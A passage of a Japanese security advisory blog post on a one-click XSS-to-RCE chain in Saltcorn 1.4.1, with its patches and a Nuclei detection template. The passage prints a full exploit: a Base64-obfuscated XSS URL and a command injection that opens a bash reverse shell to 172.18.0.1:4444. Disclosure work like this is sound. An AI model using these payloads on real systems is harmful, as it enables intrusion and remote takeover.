&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'_csrf='&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;backup_password&lt;/code&gt;パラメーターにはURLエンコードされたシェルエスケープが含まれます。デコードすると次のように変換されます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="s2"&gt;";&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;bash&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'bash -i &amp;gt;&amp;amp; /dev/tcp/172.18.0.1/4444 0&amp;gt;&amp;amp;1 &amp;amp;'&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;サーバーでの実行コンテキスト：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;zip&lt;span class="w"&gt; &lt;/span&gt;-5&lt;span class="w"&gt; &lt;/span&gt;-rq&lt;span class="w"&gt; &lt;/span&gt;-P&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;bash&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'bash -i &amp;gt;&amp;amp; /dev/tcp/172.18.0.1/4444 0&amp;gt;&amp;amp;1 &amp;amp;'&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/tmp/backup.zip"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;ステップ2：XSSペイロード&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;フィッシングページからの悪意あるURLは、単純なフィルターを回避するためにBase64エンコーディングを用いた多層ペイロードを埋め込みます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;デコード後のXSSペイロード：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;eval(atob("ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk="))&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="5. 概念実証:エンドツーエンドのxssからrceへの悪用"&gt;5. &lt;strong&gt;概念実証：エンドツーエンドのXSSからRCEへの悪用&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;この概念実証は、脆弱なsaltcorn/saltcorn:1.4.1デプロイに対する完全なXSSからRCEへの悪用チェーンを実演し、悪意ある管理者側ペイロードを介したリモートコマンド実行に至ります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;'3'&lt;/span&gt;
&lt;span class="nt"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;postgres&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;postgres:15&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;POSTGRES_USER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;saltcorn&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;POSTGRES_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;saltcorn&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;POSTGRES_DB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;saltcorn&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;postgres-data:/var/lib/postgresql/data&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;saltcorn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;saltcorn/saltcorn:1.4.1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"3000:3000"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;PGHOST&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;postgres&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;PGUSER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;saltcorn&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;PGPASSWORD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;saltcorn&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;PGDATABASE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;saltcorn&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;PGPORT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;5432&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;SALTCORN_SESSION_SECRET&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;fixedsecret&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;saltcorn-data:/home/saltcorn/.config/saltcorn&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;depends_on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;postgres&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;serve&lt;/span&gt;

&lt;span class="nt"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;postgres-data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;saltcorn-data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;実行フロー：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;攻撃者のターミナル：&lt;/strong&gt; リバースシェルを受け取るためのリスナーを設置します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="リスナーを待機する攻撃者のターミナル" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_26_1-Click_RCE_in_Saltcorn/attacker-listener.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;被害者の操作：&lt;/strong&gt; 管理者が悪意あるリンクをクリックします。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="脆弱なエンドポイントを表示する管理インターフェース" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_26_1-Click_RCE_in_Saltcorn/admin-interface.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;リバースシェルの確立：&lt;/strong&gt; チェーン全体が2秒未満で実行され、攻撃者にリモートアクセスを提供します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="確立されたリバースシェル" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_26_1-Click_RCE_in_Saltcorn/reverse-shell.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;このプロセスは管理者にはほぼ見えず、短いブラウザーの遷移としてのみ現れます。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;&lt;strong&gt;影響&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;コマンド実行が達成されると、攻撃者は次のことが可能になります： &lt;br/&gt;&amp;bull; アプリケーションのシークレットと設定の読み取り&lt;br/&gt;&amp;bull; バックドアの永続化&lt;br/&gt;&amp;bull; 連携されたサービスへの横展開&lt;br/&gt;&amp;bull; 完全性と可用性の侵害&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="6. 修正:saltcorn 1.5.0でのパッチと緩和策"&gt;6. &lt;strong&gt;修正：Saltcorn 1.5.0でのパッチと緩和策&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Saltcornバージョン &lt;strong&gt;1.5.0&lt;/strong&gt; は、両方の脆弱性をそれぞれ独立して対処します。いずれか一方の修正を実装するだけでもエクスプロイトチェーンを断ち切るのに十分です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;修正1：入力のエスケープ&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ルート／クエリパラメーターを下流のレンダリングの前にエスケープします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;escape_param&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{};&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;typeof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"string"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;escape_param&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;escape_param&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;修正2：安全なコマンド実行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;exec(string)をspawn(binary, args)に置き換え、パスワードを通常の引数として渡します（シェル補間なし）。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"-5"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"-rq"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;backup_password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"-P"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;backup_password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;absZipPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"zip"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cwd&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;tmpDir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これにより、シェル文字列インジェクションのプリミティブが除去されます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="7. ostorlab kevによるsaltcornのxssからrceへの検出"&gt;7. &lt;strong&gt;Ostorlab KEVによるSaltcornのXSSからRCEへの検出&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;GHSA-cr3w-cw5w-h3fj（SaltcornのXSSからRCEへのチェーン）は、Ostorlabの &lt;strong&gt;Known Exploited Vulnerabilities（KEV）&lt;/strong&gt; 検出スイートでカバーされています。KEVエージェントグループは、公開されたサービスに対して大規模な自動スキャンを実行し、Nmap、Tsunami、Asteroid、Nuclei、Metasploitといったツールを統一されたワークフローの下でオーケストレーションします。&lt;/p&gt;
&lt;h3 id="nucleiテンプレート"&gt;Nucleiテンプレート&lt;/h3&gt;
&lt;p&gt;この勧告のために専用のNucleiテンプレートが開発され、KEVリポジトリに追加されました。&lt;/p&gt;
&lt;p&gt;侵襲的なエクスプロイト検証とは異なり、このテンプレートは認証なしで &lt;strong&gt;安全な反射ベースの検出&lt;/strong&gt; を実行します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/page/sc\&amp;lt;xss\&amp;gt;nuclei&lt;/code&gt;へのGETリクエスト&lt;/strong&gt; &amp;mdash; 公開ルートパラメーターへ山括弧を注入します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;本文のマッチ確認&lt;/strong&gt; &amp;mdash; ペイロード&lt;code&gt;sc\&amp;lt;xss\&amp;gt;nuclei&lt;/code&gt;がエンコードされずに反射されることを検証します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ネガティブマッチ確認&lt;/strong&gt; &amp;mdash; エンコードされた形式&lt;code&gt;sc&amp;amp;lt;xss&amp;amp;gt;nuclei&lt;/code&gt;が出現&lt;em&gt;しない&lt;/em&gt;ことを確認します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Saltcornのフィンガープリンティング&lt;/strong&gt; &amp;mdash; &lt;code&gt;_sc_version_tag&lt;/code&gt;マーカーを介して存在を確認します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;検出には、すべてのマッチャー条件が成功する必要があります。すなわち、反射が存在し、エンコードが行われておらず、Saltcornが識別されることです。&lt;/p&gt;
&lt;p&gt;このテンプレートは、バックアップを起動したりコマンドを実行したりすることなく、コマンドインジェクションのチェーンを可能にする脆弱なXSSプリミティブを確認します。&lt;/p&gt;
&lt;p&gt;完全なテンプレートは、以下のOstorlab KEVリポジトリで入手できます。
